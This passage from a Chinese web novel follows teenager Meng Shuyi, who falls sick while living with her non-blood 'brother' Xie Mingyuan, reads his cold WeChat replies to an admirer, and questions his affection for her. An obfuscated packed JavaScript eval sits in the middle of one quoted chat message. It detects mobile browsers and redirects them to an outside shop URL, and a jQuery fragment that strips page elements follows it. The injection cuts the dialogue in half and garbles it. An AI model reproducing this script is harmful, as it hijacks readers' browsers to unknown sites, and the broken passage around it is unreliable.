他好听的声音和那双深邃的眼睛极具蛊惑性,孟舒宜在他的注视下点头,重复他刚刚最后一句话:“我只有明远哥一个哥哥,也不会和他再有来往。”
听到她的保证,谢明远终于放松一直拧紧的眉头,眼里的冰冷消融,化成往常和煦的笑意,变回孟舒宜熟悉的模样。
而孟舒宜想的是:谢明远生气的样子真的很可怕,她以后都不要再惹他生气了。
后半夜,谢明远的卧室里不时传来他的咳嗽声,孟舒宜听的心揪紧,一夜没睡着,第二天起床,头疼欲裂,嗓子像吞了刀片一样疼,并且鼻涕也开始不停的流。
甚至没办法开口说话,情况比昨天的谢明远还要严重。
从凌晨开始,孟舒宜就迷迷糊糊的,想喝水又发不出声音出来,浑身像被抽干了力气,四肢都很酸软。
往常早早起床,今天意外的一直没动静。
外面有人敲响她的房门,见里面没回应,便直接推门进来。
他走到孟舒宜的床边,伸手摸了摸她的额头,一片滚烫。
察觉到有人靠近,孟舒宜有些艰难的睁开眼,谢明远那张脸近在咫尺。
她声音干涩的唤了声:“明远哥。”
谢明远给她掖了掖被子,一个晚上之后,他的状况已经好很多了。
此刻看着她可怜巴巴的样子,又觉得有点好笑:“我记得昨天谁说自己体质很好,从来不会被传染上感冒?”
孟舒宜此刻嗓子生疼,根本没力气为自己辩解,只能很无力的说:“可能我初来乍到,水土不服,我在家里的时候,身体真的很好的。”
“那就是明远哥的错了,你生病是我的责任,昨天你照顾我,今天换我照顾你。”
他下楼端了阿姨新做的蟹黄小笼和一碗热汤,放在孟舒宜的床头柜上。
“刚刚我去厨房的时候,阿姨赶紧以最快速度戴上口罩,跟我保持三米距离,还不让我开口说话,说不然病毒会到处扩散,也不让我自由活动,舒宜,这几天,我们两个要相依为命了,活动范围被圈禁在二楼。”
孟舒宜打了个喷嚏,抽纸巾擦鼻涕,这个流感着实是来势汹汹,而且夏天是很难生病的,除非中暑或者在空调房里猛吹,双双染上重感冒大概也就比买彩票中奖的概率大一点。
她掀开被子想坐起来,被谢明远重新盖上空调被。
“不能再受冻了。”他说道。
还用被子把她裹得严严实实的。
孟舒宜有点无奈,她年龄小不代表没有生活常识好吧,“这是夏天,不需要盖被子,也不会受冻的。”
谢明远:“空调冷风直吹也会加重的。”
这处房子是大型中央空调,冷气从天花板的风口呼呼直下。
可以把她房间的关了,但是现在是大暑,外面三四十度的天,出门一秒钟就要流汗,室内也十分燥热,不开空调根本受不住。
孟舒宜只能接受被裹得像粽子一样。
“被子薄不薄?需不需要我再去拿一床厚一点的?”
孟舒宜赶紧制止:“不薄,我不冷的。”
谢明远看她只露出一个脑袋,玩心顿起:“可我觉得有点冷。”
“那我们还是把这个房间的空调关了吧。”
说完就要去摸空调的控制面板,谢明远握住她的手腕,“不用那么麻烦。”
“嗯?”
他一下把裹着空调被的孟舒宜捞进怀里,被子轻薄,是凉爽的夏款,没有那么热,但是谢明远的胸膛滚烫。
她额头撞在他怀里,心头猛地跟着震了一下,甚至一瞬间不知道说什么。
他把下巴放在孟舒宜的肩膀上,低着脑袋在她耳边道:“现在可以了。”
肌肤相贴,他的温度传递到她身上,孟舒宜忍不住握紧拳。
“你知道为什么我好的比你快吗?”
孟舒宜磕磕巴巴的问:“为什么?”
“因为感冒好的最快的方式,是传染给下一个人。”
孟舒宜不服气的嘟囔了一句:“我要是以前的体质,你根本传染不到我。”
他低低的笑了一声,“那现在的情况算怎么回事?算舒宜和哥哥有缘分?”
心头还在砰砰直跳,许久,她才推开她,神色不太自然:“我还是去要一床被子吧,你要是冷,也可以换一件长袖。”
他眼含笑意的垂眸看着她,然后起身听话的去换衣服。
这几天,因为孟舒宜身体不舒服,谢明远大多数时间都待在她的卧室里,他在准备美国大学的SAT,已经联系过老师写推荐信,还要整理很多材料以及雅思考试。
虽然之前听人说明德高中国际部的富哥富姐们出生就是人生巅峰,不需要在学习上付出什么努力,但细细接触下来,孟舒宜看见谢明远还是很在乎学业的,美国的顶尖大学需要高中的成绩履历,例如成绩单,竞赛,奖状,社会实践证明等等,事情很多,但他看起来倒是很游刃有余,不急不慢。
晚上七八点的时候,还会回房间和柯煜打一会游戏。
他打游戏的时候,手机就落在孟舒宜的书桌上,有人发微信进来,手机嗡嗡震动不停。
页面亮着,孟舒宜无意间瞟了眼,那边发信息的是姜梦瑶。
她本来不想窥探的,但在密密麻麻的信息上看到了自己的名字,当然密密麻麻的信息全是姜梦瑶发来的。
她实在忍不住好奇,拿起来草草翻阅了一下。
谢明远只回过寥寥几条——
7月15日
姜梦瑶:【哈喽明远】
谢明远:【我什么时候加过你】
姜梦瑶:【体育馆你们打球的时候我和静宜妹妹聊天,她加的,我和她共同话题还挺多的,可惜她当时没带手机,就用你的号加了】
7月16日
姜梦瑶:【你暑假有没有什么出去玩的计划啊?去年我看你们去了帕劳还有斐济,今年还准备去什么地方玩吗?带我一起呗,我在家也很无聊的,问了季星眠,她说你们还没打算出去】
7月17日
姜梦瑶:【对了,八月份我过生日,邀请你来呀】
姜梦瑶:【难过.JPG】
姜梦瑶:【怎么不回消息啊,你很忙吗?】
7月19日
谢明远:【很忙,不要发了】
姜梦瑶:【对不起,只是想问问你而已,你没时间的话就算了】
7月31日
姜梦瑶:【静宜妹妹在干嘛?她要是有空的话,麻烦帮我转达,我找她出来玩】
谢明远:【她要看书,没空,还有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17891274|212748||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
她的名字是孟舒宜】
姜梦瑶:【你这次回的这么快?你问了吗?秒回的,不会压根没问她吧】
8月18日
姜梦瑶:【你去海城啦?我看到季星眠的朋友圈了,还拍到你了】
姜梦瑶:【上次问你暑假还出不出去,你都没回/大哭.JPG/】
姜梦瑶:【今天我过生日哦,你不来,总能对我说一句生日快乐吧?】
姜梦瑶:【谢明远,你次次不回信息,我真的生气了】
她上午发的信息,谢明远晚上,也就是不久前才回复的——
谢明远:【我有什么义务要回复你?难道因为你喜欢我,我就必须回吗?】
谢明远:【你很闲?没一点自己的事要做吗?】
他这些话发过去之后,姜梦瑶就没发信息来了。
孟舒宜摁灭屏幕,把手机放回原处。
隔着一条走廊,她望向谢明远的房间,他坐在电脑前,卧室门没关,孟舒宜得以洞悉他的侧脸,灯光打在他身上,把他优越的轮廓照的更加立体,一截清瘦却遒劲的手腕握住鼠标,姿态专注。
打游戏的时候,眉眼间认真严肃,她突然觉得谢明远有很多面,而这一个多月以来,展现在她面前的只是他的一面而已。
例如陈洛舟这件事,就显现了她未曾发现过的其他样子。
而今天的聊天记录,也让她看到和她认识的,不一样的谢明远。
可是到底什么样子才是他最本真的模样呢?
她一直以为谢明远就是斯文和煦,有礼貌又有涵养,而这通聊天记录里,他似乎并不是那个样子,他知道很多人喜欢他,却不稀罕也不在意别人的真心。
她不可抑制的想,会不会有一天,谢明远也会这样冷漠的对待她呢?
孟舒宜端着温水和感冒药到谢明远房间,敲了两下房门,谢明远扭头看了一眼她,嘴角带着淡淡的笑。
“舒宜,怎么了?”
“明远哥,感冒药。”
她走过去,把药和水放在他手边。
即使电脑屏幕里战况激烈,谢明远还是抽空停下来,把药丢进口中,就着水一饮而尽。
孟舒宜也不知道怎么想的,没头没脑的问了一句:“明远哥,我做了什么你会非常讨厌我呢?”
他指尖兀地停住,像在思考,又像是揣测她为什么会问出这个问题。
“我怎么会讨厌你呢?哥哥永远都不会讨厌你的。”
电脑里的小人被对面击中,但谢明远似乎丝毫不在意,身子转过来对着她,眼神全放在孟舒宜身上,说道:“哥哥最喜欢舒宜了,无论舒宜做什么,我都会原谅你。”
“是吗?”孟舒宜喃喃问道。
她第一次开始产生对情感的思考,如果谢明远不接受女孩们的喜欢,那她和谢明远是怎么回事呢?
她是母亲托付给谢家的独女,她是谢明远没有血缘关系的妹妹,她在谢叔叔口中,是救命恩人的女儿。
以及,刚才谢明远说的,她是他最喜欢的舒宜。
她有很多个身份。
但她不是谢明远的亲妹妹。
那他口中刚刚的“喜欢”从何而来呢?
它是不滋生于男女关系的,是不带利益取舍的,是单纯的,是纯粹的吗?